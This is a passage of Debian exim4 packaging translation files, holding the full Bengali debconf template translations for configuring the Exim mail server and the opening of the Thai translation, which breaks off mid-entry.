debian/po/bn.po0000644000000000000000000010257012027557533010561 0ustar # Bengali translation of exim4. # Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER # This file is distributed under the same license as the PACKAGE package. # Md. Rezwan Shahid , 2009. msgid "" msgstr "" "Project-Id-Version: exim4\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2009-04-15 16:10+0600\n" "Last-Translator: Md. Rezwan Shahid \n" "Language-Team: Bengali \n" "Language: bn\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTf-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Generator: WordForge 0.5-beta1\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "স্পুল ডিরেক্টরির অপ্রেরিত বার্তা মুছে ফেলা হবে?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "এক্সিম স্পুল ডিরেক্টরি /var/spool/exim4/input/ তে অপ্রেরিত ই-মেইল বার্তা আছে। " "এক্সিম মুছে দিলে এগুলো অপ্রেরিতই রয়ে যাবে, যতক্ষন পর্যন্ত এক্সিম পুনরায় ইন্সটল না করা " "হয়।" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "যদি এই পছন্দটি নির্বাচন করা হয়, স্পুল ডিরেক্টরি রেখে দেয়া হবে, এতে বার্তাগুলো রয়ে " "যাবে যেন এগুলো পরবর্তীবার এক্সিম ইন্সটল করা হলে প্রেরন করার জন্য সংরক্ষন করা যায়।" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "এই প্যাকেজের পরিবর্তে exim4-কনফিগ পুনরায় কনফিগার করা হবে" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Exim4 এর কনফিগারেশন একটি নির্দিষ্ট প্যাকেজে (exim4-config) ফ্যাক্টর করা থাকে। " "Exim4 পুনরায় কনফিগার করার জন্য 'dpkg-reconfigure exim4-config' ব্যবহার করুন।" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "ইন্টারনেট সাইট; SMTP ব্যবহার করে মেইল সরাসরি প্রেরন এবং গ্রহন করা হয়" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "" "smarthost দ্বারা মেইল প্রেরন করা হয়েছে; SMTP বা fetchmail দ্বারা গ্রহন করা হয়েছে" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "smarthost দ্বারা মেইল প্রেরন করা হয়েছে; কোনো স্থানীয় মেইল নেই" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "শুধুমাত্র স্থানীয় ডেলিভারী; নেটওয়ার্কে নয়" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "এই মূহুর্তে কোনো কনফিগারেশন নেই" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "মেইল কনফিগারেশনের সাধারন ধরন:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "" "অনুগ্রহ করে সেই মেইল সার্ভার কনফিগারেশনের ধরন নির্বাচন করুন যেটি আপনার চাহিদার " "সবচেয়ে বেশি পূরন করে।" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "ডায়নামিক আইপি ঠিকানাসহ সিস্টেমগুলো, ডায়াল-আপ সিস্টেমসহ, সাধারনত এমনভাবে কনফিগার " "করা উচিত যেন এটি ডেলিভারীর জন্য বহি:গামী মেইলগুলোকে 'smarthost' নামক অন্য একটি " "মেশিনে প্রেরন করে কারন ইন্টারনেটে অনেক গ্রহনকারী সিস্টেম ডায়নামিক আইপি ঠিকানা " "থেকে আসা মেইলকে স্প্যাম হিসেবে ব্লক করে দেয়।" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "ডায়নামিক আইপি ঠিকানাসহ একটি সিস্টেম এর নিজের মেইল গ্রহন করতে পারে, বা স্থানীয় " "ডেলিভারী সম্পূর্ণভাবে নিষ্ক্রিয় করা যেতে পারে (রুট এবং পোস্টমাস্টারের মেইল ব্যতীত)।" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "মেইল সিস্টেম কনফিগার না করে রেখে দেয়া হবে?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "সিস্টেম কনফিগার না করা পর্যন্ত এটি ব্যবহার করা যাবে না। পরে এক সময়ে রুট হিসেবে " "ম্যানুয়ালী বা 'dpkg-reconfigure exim4-config' রান করে কনফিগার করা যেতে পারে।" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "সিস্টেম মেইল নাম:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "'মেইল নাম' হল ডোমেইন নাম যা ডোমেইন নাম ছাড়া মেইল ঠিকানাকে 'যোগ্য' করতে ব্যবহৃত " "হয়।" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "এই নামটি অন্য প্রোগ্রাম দ্বারাও ব্যবহৃত হবে। এটি একক, সম্পূর্ণ যোগ্য ডোমেইল নাম (FQDN) " "হতে হবে।" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "এভাবে, যদি স্থানীয় হোস্টে একটি মেইল ঠিকানা হয় foo@example.org, তাহলে এই অপসনের " "সঠিক মান হবে example.org।" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "এই নামটি বহি:গামী বার্তার প্রেরক: লাইনে দেখানো হবে না যদি পুন:লিখন সক্রিয় থাকে।" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "অন্যান্য গন্তব্য যেই মেইলের জন্য গ্রহন করা হবে:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "অনুগ্রহ করে গ্রহনকারী ডোমেইনের একটি সেমিকোলন-দ্বারা-পৃথককৃত তালিকা দিন যেটির জন্য " "এই মেশিন নিজেকে সর্বশেষ গন্তব্য বলে বিবেচনা করবে। এই ডোমেইনগুলোকে সাধারনভাবে " "'স্থানীয় ডোমেইন' বলা হয়। স্থানীয় হোস্টনাম (${fqdn}) এবং 'localhost' সর্বদা এই " "তালিকায় যোগ করা হয়।" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "ডিফল্টভাবে সকল স্থানীয় ডোমেইন একইভাবে বিবেচনা করা হয়। যদি a.example এবং b." "example উভয়ই স্থানীয় ডোমেইন হয়, acc@a.example এবং acc@b.example কে একই সর্বশেষ " "গন্তব্যে পাঠানো হবে। যদি ভিন্ন ডোমেইন নামকে আলাদাভাবে বিবেচনা করা হয়, তাহলে " "কনফিগ ফাইলগুলো সম্পাদনা করা জরুরি।" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "যেই ডোমেইনের জন্য মেইল রিলে করতে হবে:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "অনুগ্রহ করে গ্রহনকারী ডোমেইনের একটি সেমিকোলন-দ্বারা-পৃথককৃত তালিকা দিন যেটির জন্য " "এই মেশিন মেইল রিলে করবে, উদাহরনস্বরুপ একটি ফলব্যাক MX বা মেইল গেটওয়ে হিসেবে। এর " "মানে হল এই সিস্টেম ইন্টারনেটের যেকোনো স্থান থেকে এসকল ডোমেইনের জন্য মেইল গ্রহন " "করবে এবং তাদেরকে স্থানীয় নিয়ম অনুযায়ী ডেলিভার করবে।" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "এখানো স্থানীয় ডোমেইন উল্লেখ করা হবে না। ওয়াইল্ডকার্ড ব্যবহার করা যেতে পারে।" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "যেসকল মেশিনের জন্য মেইল রিলে করা হবে:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "অনুগ্রহ করে আইপি ঠিকানা একটি সেমিকোলন-দ্বারা-পৃথককৃত তালিকা দিন যেটির জন্য এই " "মেশিন শর্তহীনভাবে মেইং রিলে করবে, একটি smarthost এর মত কাজ করবে।" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "আপনাকে আদর্শ ঠিকানা/প্রিফিক্স ফরম্যাট ব্যবহার করতে হবে (উদাহরনস্বরুপ " "194.222.242.0/24 বা 5f03:1200:836f::/48)।" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "যদি এই সিস্টেমটি অন্য কোন হোস্টের জন্য smarthost না হয়, তাহলে এই তালিকাটি খালি " "রাখুন।" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "স্থানীয় ব্যবহারকারীদের জন্য দৃশ্যমান ডোমেইন:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "বহি:গামী মেইলে স্থানীয় মেইল লুকানোর অপশন সক্রিয় করা হয়েছে। ফলে এই সিস্টেম " "স্থানীয় ব্যবহারকারীর প্রেরক ঠিকানার ডোমেইন অংশে যে ডোমেইন ব্যবহার করা হবে তার " "নাম নাম উল্লেখ করা জরুরি।" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "বহি:গামী smarthost এর আইপি ঠিকানা বা হোস্ট নাম:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "অনুগ্রহ করে এই সিস্টেম বহি:গামী smarthost হিসেবে যেই মেইল সার্ভার ব্যবহার করবে " "সেটির আইপি ঠিকানা বা হোস্ট নাম দিন। যদি smarthost আপনার মেইল শুধুমাত্র TCP/25 " "ছাড়া অন্য যেকোনো পোর্টে গ্রহন করে, তাহলে দুটি সেমিকোলন দিন এবং পোর্ট নম্বর দিন " "(উদাহরনস্বরুপ, smarthost.example::587 বা 192.168.254.254::2525)। IPv6 এ " "কোলনগুলো দ্বিগুন হতে হবে।" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "যদি smarthost এর অথেনটিকেশন প্রয়োজন হয়, অনুগ্রহ করে SMTP অথেনটিকেশন সেটআপ " "সম্পর্কিত নোটের জন্য /usr/share/doc/exim4-base এ ডেবিয়ান-উল্লেখকৃত README ফাইল " "দেখুন।" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "রুট এবং পোস্টমাস্টার মেইল প্রাপক:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "'postmaster', 'root', এবং অন্যান্য অ্যাকাউন্টের জন্য মেইল আসল সিস্টেম " "অ্যাডমিনিস্ট্রেটর ব্যবহারকারীর অ্যাকাউন্টে রিডায়রেক্ট করে দিতে হবে।" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "যদি এই মানটি খালি রাখা হয়, এরুপ মেইলগুলো /var/mail/mail এ সংরক্ষন করা হবে, যেটি " "সুপারিশকৃত নয়।" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "মনে রাখবেন যে পোস্টমাস্টারের মেইল সেই সিস্টেমে পড়া উচিত যেখানে এটি রিডায়রেক্ট " "করা হয়েছে, অন্য কোথাও ফরওয়ার্ড করার পরিবর্তে, যাতে এখানে তালিকাকৃত (অন্তত একটি) " "ব্যবহারকারীরা তাদের মেইল এই মেশিন থেকে অন্য কোথাও রিডায়রেক্ট না করে। একটি " "'real-' প্রিফিক্স দেয়া যেতে পারে স্থানীয় ডেলিভারির জন্য।" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "একাধিক ব্যবহারকারী নামগুলো স্পেস দিয়ে পৃথক করতে হবে।" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "আগত SMTP সংযোগের জন্য যে আইপি-ঠিকানায় শুনতে হবে:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "অনুগ্রহ করে কমা দ্বারা পৃথককৃত আইপি-ঠিকানার একটি তালিকা দিন। এক্সিম SMTP শ্রোতারা " "এখানে তালিকাকৃত সকল আইপি-ঠিকানায় শুনবে।" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "একটি খালি মান দেয়া হলে এক্সিম সকল উপস্থিত নেটওয়ার্ড ইন্টারফেসে শুনবে।" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "যদি এই সিস্টেম শুধু স্থানীয় সেবা (এবং অন্য কোন হোস্ট থেকে নয়) থেকে সরাসরি মেইল " "গ্রহন করে, আমরা পরামর্শ দিচ্ছি যে আপনি এক্সিম ডিমনে বাহ্যিক সংযোগ বাতিল করুন। এরুপ " "সেবাগুলোয় ই-মেইল প্রোগ্রাম (MUAs) অন্তর্ভূক্ত থাকে যা ফেচমেইলের মত লোকালহোস্টের " "সাথে কথা বলে। যখন এখানে 127.0.0.1 প্রবেশ করানো হবে তখন বাহ্যিক সংযোগ অসম্ভব, " "কারন এটি পাবলিক নেটওয়ার্ক ইন্টারফেসে শোনা নিষ্ক্রিয় করে দেবে।" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "DNS-কোয়েরির সংখ্যা সর্বনিম্ন রাখা হবে (প্রয়োজনে ডায়াল)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "অপারেশনের সাধারন মোডে এক্সিম DNS এ স্টার্টআপের সময়, এবং যখন বার্তা গ্রহন করে এবং " "ডেলিভারী করে তখন দেখে। এটি লগিং এর জন্য এবং কনফিগারেশনে হার্ড-কোডেড মানের " "সংখ্যা কম রাখতে অনুমতি দেয়।" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "যদি সর্বদা এই সিস্টেমের একটি DNS পূর্ণ সেবা রিসলভার না থাকে (উদাহরনস্বরুপ, যদি এর " "ইন্টারনেট সংযোগ ডায়াল-অন-ডিমান্ড ব্যবহারকারী ডায়াল-আপ লাইন হয়), এটি অপ্রয়োজনীয় " "ফলাফল ধারন করতে পারে। উদাহরনস্বরুপ, এক্সিম স্টার্ট বা কিউ রান করা হলে এর ফলে দামী " "ডায়াল-আপ-ইভেন্ট শুরু হতে পারে।" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "যদি প্রয়োজনে ডায়াল ব্যবহার করা হয় তাহলে এই অপশন নির্বাচন করা উচিত। যদি এটির " "সর্বদা ইন্টারনেট সংযোগ থাকে তাহলে এই অপশন নিষ্ক্রিয় করা উচিত।" #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "মেইল সার্ভার কনফিগারেশন" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "কনফিগারেশন ছোট ফাইলে স্প্লিট করা হবে?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "ডেবিয়ান exim4 প্যাকেজ 'unsplit configuration', একটি একক monolithic ফাইল (/etc/" "exim4/exim4.conf.template) বা 'split configuration' ব্যবহার করতে পারে, যেখানে " "আসল এক্সিম কনফিগারেশনটি /etc/exim4/conf.d/ এর প্রায় ৫০ টি ছোট ফাইল দ্বারা গঠিত।" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "আনস্প্লিট কনফিগারেশন বড় মোডিফিকেশনের জন্য তুলনামূলক বেশি মানানসই এবং সাধারনত বেশি " "স্ট্যাবল, যেখানে স্প্লিট কনফিগারেশন ছোট মডিফিকেশনের জন্য একটি আরামদায়ক উপায় দেয় " "কিন্তু এটি বেশি ভঙ্গুর এবং ঠিকমতো মডিফাই করা না হলে ভেঙ্গে যেতে পারে।" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "স্প্লিট এবং আনস্প্লিট কনফিগারেশনের আরো বিস্তারিত বর্ননা পাওয়া যাবে /usr/share/doc/" "exim4-base এ ডেবিয়ান-উল্লেখিত README ফাইলে।" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "বহি:গামী মেইলে স্থানীয় মেইলের নাম লুকানো হবে?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "বহি:গামী মেইলের হেডারকে অন্য সিস্টেমে তৈরি করে দেখানোর জন্য পুন:লিখন করা যায়। " "যদি এই অপশনটি নির্বাচন করা হয়, প্রেরক, জবাব, এবং ফেরতের পাথে '${mailname}', " "'localhost' এবং '${dc_other_hostnames}' পুন:লিখন করা হবে।" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "/var/mail/ এ mbox ফরম্যাট" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "হোম ডিরেক্টরিতে Maildir ফরম্যাট" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "স্থানীয় মেইলের জন্য ডেলিভারী মেথড:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "এক্সিম স্থানীয়ভাবে ডেলিভারী করা ভিন্ন ফরম্যাটের ইমেইল স্টোর করতে সমর্থ। সবচেয়ে " "বেশি ব্যবহৃতগুলো হলো mbox এবং Maildir। mbox /var/mail/ এ স্টোর করা মেইল ফোল্ডারের " "জন্য একটি একক ফাইল ব্যবহার করে। Maildir এর জন্য প্রতিটা ফাইল ~/Maildir/ এ আলাদা " "ফাইলে স্টোর করা হয়।" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "অনুগ্রহ করে মনে রাখবেন যে ডেবিয়ানে বেশিরভাগ টুল ডিফল্টভাবে আশা করে যে স্থানীয় " "ডেলিভারী মেথড হবে mbox।" debian/po/th.po0000644000000000000000000012546712027557533010607 0ustar # Thai translation of exim4. # Copyright (C) 2006-2007 Software in the Public Interest, Inc. # This file is distributed under the same license as the exim4 package. # Theppitak Karoonboonyanan , 2006-2007. # msgid "" msgstr "" "Project-Id-Version: exim4\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2007-06-15 14:50+0700\n" "Last-Translator: Theppitak Karoonboonyanan \n" "Language-Team: Thai \n" "Language: th\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "จะลบเมลฝากส่งที่ตกค้างอยู่ในไดเรกทอรี spool หรือไม่?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "มีเมลตกค้างอยู่ในไดเรกทอรี spool ของ Exim /var/spool/exim4/input ซึ่งยังไม่ได้ส่ง " "การถอดถอน Exim จะทิ้งเมลเหล่านั้นไว้โดยไม่ส่ง จนกว่าจะติดตั้ง Exim ใหม่" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "ถ้าไม่เลือกตัวเลือกนี้ ไดเรกทอรี spool จะถูกเก็บรักษาไว้ " "และจะสามารถส่งเมลเหล่านั้นได้ในภายหลัง เมื่อได้ติดตั้ง Exim ใหม่อีกครั้ง" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "ตั้งค่า exim4-config ไม่ใช่แพกเกจนี้" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Exim4 มีระบบตั้งค่าแยกออกไปในแพกเกจต่างหาก คือ exim4-config ถ้าคุณต้องการตั้งค่า Exim4 " "ให้เรียก 'dpkg-reconfigure exim4-config'" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "ไซต์อินเทอร์เน็ต; ส่งและรับเมลโดยตรงด้วย SMTP" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "ส่งเมลด้วย smarthost; รับเมลด้วย SMTP หรือ fetchmail" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "ส่งเมลด้วย smarthost; ไม่รับเมลในเครื่อง" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "ส่งเมลภายในเครื่องเท่านั้น; ไม่ได้เชื่อมต่อเครือข่าย" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "ไม่ตั้งค่าในตอนนี้" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "ชนิดค่าตั้งเมลโดยทั่วไป:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "เลือกชนิดเซิร์ฟเวอร์เมลที่ตรงกับความต้องการของคุณ" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "ระบบที่ใช้หมายเลข IP แบบ dynamic ซึ่งรวมทั้งระบบที่ต่อทางโทรศัพท์ " "ควรจะตั้งค่าให้ส่งเมลขาออกไปยังอีกเครื่องหนึ่ง ซึ่งเรียกว่า 'smarthost' เพื่อฝากส่ง " "เพราะหลายระบบในอินเทอร์เน็ตจะไม่รับเมลจากหมายเลข IP ที่เป็น dynamic เพื่อป้องกันสแปม" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "เครื่องที่ใช้ IP 